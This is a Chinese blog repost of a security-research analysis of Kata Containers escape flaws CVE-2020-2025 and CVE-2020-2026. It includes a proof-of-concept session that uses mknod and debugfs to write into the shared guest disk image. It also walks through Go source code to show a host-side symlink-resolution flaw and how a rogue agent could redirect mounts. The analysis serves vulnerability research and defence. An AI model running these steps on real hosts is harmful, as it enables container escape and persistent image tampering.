KataContainers安全容器逃逸-CVE-2020-2023-2024-2025-2026(转载中)


版权声明:本文为「星云实验室 绿盟科技研究通讯」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://mp.weixin.qq.com/s/q4xJtlO6iFpHQginGvVBDQ

CVE-2020-2025

该漏洞也属于权限控制问题——在存在漏洞的环境中,虚拟机镜像并未以只读模式挂载。因此,虚拟机能够对硬盘进行修改,并将修改持久化到虚拟机镜像中。这样一来,后续所有新虚拟机都将从修改后的镜像创建了。

我们来验证一下。思路是,在之前CVE-2020-2023的基础上,先启动一个容器,使用debugfs向虚拟机硬盘中写入一个flag.txt文件,内容为hello, kata,然后销毁该容器,再次创建一个新容器,在其中使用debugfs查看文件系统是否存在上述文件,以判断虚拟机镜像是否被改写。具体的过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root# docker run --rm -it ubuntu /bin/bash
root@28caf254e3b3:/# mknod --mode 0600 /dev/guest_hd b 254 1
root@28caf254e3b3:/# echo "hello, kata" > flag.txt
root@28caf254e3b3:/# /sbin/debugfs -w /dev/guest_hd
debugfs 1.45.5 (07-Jan-2020)
debugfs: cd usr/bin
debugfs: write flag.txt flag.txt
Allocated inode: 172
debugfs: close -a
debugfs: quit
root@28caf254e3b3:/# exit
exit
root#
root# docker run --rm -it ubuntu /bin/bash
root@1773bd058e1b:/# mknod --mode 0600 /dev/guest_hd b 254 1
root@1773bd058e1b:/# /sbin/debugfs -w /dev/guest_hd
debugfs 1.45.5 (07-Jan-2020)
debugfs: cd usr/bin
debugfs: dump flag.txt flag.txt
debugfs: quit
root@1773bd058e1b:/# cat flag.txt
hello, kata

可以看到,虚拟机镜像确实被改写了。

CVE-2020-2026

CVE-2020-2026属于非常典型的一类漏洞——符号链接处理不当引起的安全问题[25]。我们来抽丝剥茧,一步步分析这个漏洞。

在「背景知识」部分,我们已经介绍了Kata Containers的基本组件,下面是Kata Containers执行OCI命令create时组件间的交互时序图 [26]:

image-20210305155434109

其中,virtcontainers曾经是一个独立的项目,现在已经成为kata-runtime的一部分,它为构建硬件虚拟化的容器运行时提供了一套Go语言库。除此以外,上图涉及到的其他组件我们都介绍过了。

可以看到,Docker引擎向kata-runtime下发create指令,然后,kata-runtime通过调用virtcontainers的CreateSandbox来启动具体的容器创建过程。接着,virtcontainers承担起主要职责,调用Hypervisor提供的服务去创建网络、启动虚拟机。

我们重点关注virtcontainers向agent发起的CreateSandbox调用,从这里开始,virtcontainers与agent连续两次请求响应,是容器创建过程中最核心的部分,也是CVE-2020-2026漏洞存在的地方:

1
2
3
4
virtcontainers  --- CreateSandbox --->  agent
virtcontainers <-- Sandbox Created -- agent
virtcontainers -- CreateContainer --> agent
virtcontainers <--Container Created-- agent

这里的Sandbox与Container有什么不同呢?Sandbox是一个统一、基本的隔离空间,一个虚拟机中只有一个Sandbox,但是该Sandbox内可以有多个容器,这就对应了Kubernetes Pod的模型;对于Docker来说,一般一个Sandbox内只运行一个Container。无论是哪种情况,Sandbox的ID与内部第一个容器的ID相同。

在上面这两来两往的过程中,容器即创建完成。我们知道,容器是由镜像创建而来,那么kata-runtime是如何将镜像内容传递给虚拟机内部kata-agent的呢?答案是,将根文件目录(rootfs)挂载到宿主机与虚拟机的共享目录中。

首先,runtime/virtcontainers/kata_agent.go的startSandbox函数向kata-agent发起gRPC调用:

1
2
3
4
5
6
7
8
9
10
11
12
storages := setupStorages(sandbox)
kmodules := setupKernelModules(k.kmodules)

req := &grpc.CreateSandboxRequest{
Hostname: hostname,
Dns: dns,
Storages: storages,
SandboxPidns: sandbox.sharePidNs,
SandboxId: sandbox.id,
GuestHookPath: sandbox.config.HypervisorConfig.GuestHookPath,
KernelModules: kmodules,
}

可以看到,其中带有SandboxId和Storages参数。其中,Storages的值来自setupStorages函数,这个函数用于配置共享目录的存储驱动、文件系统类型和挂载点等。Storages内的元素定义如下(setupStorages函数):

1
2
3
4
5
6
7
sharedVolume := &grpc.Storage{
Driver: kataVirtioFSDevType,
Source: mountGuestTag,
MountPoint: kataGuestSharedDir(),
Fstype: typeVirtioFS,
Options: sharedDirVirtioFSOptions,
}

其中,kataGuestSharedDir函数会返回共享目录在虚拟机内部的路径,也就是MountPoint的值:/run/kata-containers/shared/containers/。

OK,切换到kata-agent侧。当它收到gRPC调用请求后,内部的CreateSandbox函数开始执行(位于agent/grpc.go)。具体如下(我们省略了内核模块加载、命名空间创建等代码逻辑):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
func (a *agentGRPC) CreateSandbox(ctx context.Context, req *pb.CreateSandboxRequest) (*gpb.Empty, error) {
if a.sandbox.running {
return emptyResp, grpcStatus.Error(codes.AlreadyExists, "Sandbox already started, impossible to start again")
}
// 省略...
if req.SandboxId != "" {
a.sandbox.id = req.SandboxId
agentLog = agentLog.WithField("sandbox", a.sandbox.id)
}
// 省略...
mountList, err := addStorages(ctx, req.Storages, a.sandbox)
if err != nil {
return emptyResp, err
}

a.sandbox.mounts = mountList

if err := setupDNS(a.sandbox.network.dns); err != nil {
return emptyResp, err
}

return emptyResp, nil
}

可以看到,在收到请求后,kata-agent会调用addStorages函数去根据kata-runtime的指令挂载共享目录,经过深入,该函数最终会调用mountStorage函数执行挂载操作:

1
2
3
4
5
6
// mountStorage performs the mount described by the storage structure.
func mountStorage(storage pb.Storage) error {
flags, options := parseMountFlagsAndOptions(storage.Options)

return mount(storage.Source, storage.MountPoint, storage.Fstype, flags, options)
}

这里的MountPoint即是来自kata-runtime的/run/kata-containers/shared/containers/。至此,宿主机与虚拟机的共享目录已经挂载到了虚拟机内。

最后,CreateSandbox执行完成,kata-runtime收到回复。

那么,kata-runtime什么时候会向共享目录中挂载呢?如下图所示,发送完CreateSandobx请求后,kata-runtme在bindMountContainerRootfs中开始挂载容器根文件系统:

image-20210305160610277

代码如下:

1
2
3
4
5
6
7
8
func bindMountContainerRootfs(ctx context.Context, sharedDir, sandboxID, cID, cRootFs string, readonly bool) error {
span, _ := trace(ctx, "bindMountContainerRootfs")
defer span.Finish()

rootfsDest := filepath.Join(sharedDir, sandboxID, cID, rootfsDir)

return bindMount(ctx, cRootFs, rootfsDest, readonly)
}

其中,rootfsDest是宿主机上共享目录中容器根文件系统的位置。它的形式是/run/kata-containers/shared/sandboxes/sandbox_id/container_id/rootfs,其中sandbox_id与container_id分别是Sandbox和容器的ID。如前所述,对于只运行一个容器的情况来说,这两个ID是一致的;cRootFs是根文件系统在虚拟机内部共享目录中的挂载位置,形式为/run/kata-containers/shared/containers/sandbox_id/rootfs。

在函数的末尾,bindMount函数执行实际的绑定挂载任务:

1
2
3
4
5
6
7
8
9
10
11
12
13
func bindMount(ctx context.Context, source, destination string, readonly bool) error {
// 省略...
absSource, err := filepath.EvalSymlinks(source) // 重点!!!
if err != nil {
return fmt.Errorf("Could not resolve symlink for source %v", source)
}
// 省略...
if err := syscall.Mount(absSource, destination, "bind", syscall.MS_BIND, ""); err != nil {
return fmt.Errorf("Could not bind mount %v to %v: %v", absSource, destination, err)
}
// 省略...
return nil
}

重点来了!该函数会对虚拟机内部的挂载路径做符号链接解析。

符号链接解析是在宿主机上进行的,但是实际的路径位于虚拟机内。如果虚拟机由于某种原因被攻击者控制,那么攻击者就能够在挂载路径上创建一个符号链接,kata-runtime将把容器根文件系统挂载到该符号链接指向的宿主机上的其他位置!

举例来说,假如虚拟机内部的kata-agent被攻击者替换为恶意程序,该恶意agent在收到CreateSandbox请求后,根据拿到的Sandbox ID在/run/kata-containers/shared/containers/sandbox_id/创建一个名为rootfs的符号链接,指向/tmp/xxx目录,那么之后kata-runtime在进行绑定挂载时,就会将容器根文件系统挂载到宿主机上的/tmp/xxx目录下。在许多云场景下,容器镜像是攻击者可控的, 因此——他够将特定文件放在宿主机上的特定位置,从而实现虚拟机逃逸。

第一眼看到CVE-2020-2026,也许有的朋友会觉得不太好利用,攻击者不是在容器里么?如何跑到虚拟机里?

是的,一般情况下的确比较困难,但是一旦与CVE-2020-2023、CVE-2020-2025结合起来,就有可能了。

-------- 本文结束 感谢阅读 --------

本文标题:KataContainers安全容器逃逸-CVE-2020-2023-2024-2025-2026(转载中)

文章作者:FunctFan

发布时间:2021年03月03日 - 01:21:29

最后更新:2021年03月05日 - 03:35:11

原始链接:https://functfan.github.io/posts/2767170740/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。